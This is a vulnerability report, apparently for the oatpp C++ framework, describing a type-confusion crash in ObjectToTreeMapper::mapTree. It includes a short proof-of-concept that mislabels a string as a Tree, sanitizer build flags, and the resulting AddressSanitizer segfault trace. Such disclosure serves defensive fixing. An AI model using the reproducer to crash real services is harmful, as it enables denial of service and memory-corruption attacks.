SEGV in 'ObjectToTreeMapper::mapTree'
Summary
mapTree static_casts the value pointer to mapping::Tree* and copy-assigns from it. The only thing establishing that the pointee is a Tree is the type tag that selected mapTree in the first place. Tree's copy assignment is not a shallow copy, it recurses into Attributes, which builds an unordered_map and follows pointers out of the source object, so a non Tree source dereferences garbage.
Details
src/oatpp/data/mapping/ObjectToTreeMapper.cpp:105-112:
105 void ObjectToTreeMapper::mapTree(const ObjectToTreeMapper* mapper, State& state, const oatpp::Void& polymorph) {
106 if(!polymorph) {
107 state.tree->setNull();
108 return;
109 }
110 auto tree = static_cast<mapping::Tree*>(polymorph.get());
111 *state.tree = *tree; // copy
112 }polymorph.get() is a void*. This function is registered in the dispatch table under Tree's ClassId, and ObjectToTreeMapper::map picks it by tag, so line 110 is reached whenever the tag says Tree — regardless of what the pointer owns.
Tree::operator= copies m_attributes as well as the payload, and Attributes::operator= constructs an Attrs containing an unordered_map, reading the source's attribute storage. Against a std::string source that storage is whatever the string's bytes happen to be.
json/ObjectMapper.cpp:50 and ObjectRemapper.cpp:49 perform the same static_cast<const Tree*> guarded by getValueType() == Tree::Class::getType(). That guard is the same tag comparison, so it holds only as far as the tag is trustworthy.
Fix: the tag has to be made trustworthy rather than checked again here.
PoC
poc_ObjectToTreeMapper_mapTree.cpp:
auto handle = std::make_shared<oatpp::data::type::AnyHandle>(
std::make_shared<std::string>("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"),
oatpp::Tree::Class::getType()); // tag says Tree, payload is std::string
oatpp::Any any(handle, nullptr);
oatpp::json::ObjectMapper mapper;
auto out = mapper.writeToString(any); // mapAny -> map -> mapTree -> *state.tree = *treeBuild and run:
clang++-22 -fsanitize=address,undefined,vptr -fsanitize-recover=all \
-fno-omit-frame-pointer -frtti -g -O1 -std=c++17 -I<oatpp>/src \
poc_ObjectToTreeMapper_mapTree.cpp liboatpp.a -lpthread -o poc_ObjectToTreeMapper_mapTree
ASAN_OPTIONS=halt_on_error=0 UBSAN_OPTIONS=halt_on_error=0 ./poc_ObjectToTreeMapper_mapTreeASAN output :\
[*] sizeof(mapping::Tree)=32 sizeof(std::string)=32
==...==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000028
[...]
#2 in oatpp::data::mapping::Tree::Attributes::Attrs::Attrs(...) src/oatpp/data/mapping/Tree.cpp
#3 in oatpp::data::mapping::Tree::Attributes::operator=(Attributes const&) src/oatpp/data/mapping/Tree.cppImpact
wild pointer dereference during a copy, driven by whatever the misinterpreted source object contains.
Reachability is application level
- an
AnyHandlewhose pointer and type disagree, whichmapAnywill then promote to a first-class tag.
Source: oatpp/oatpp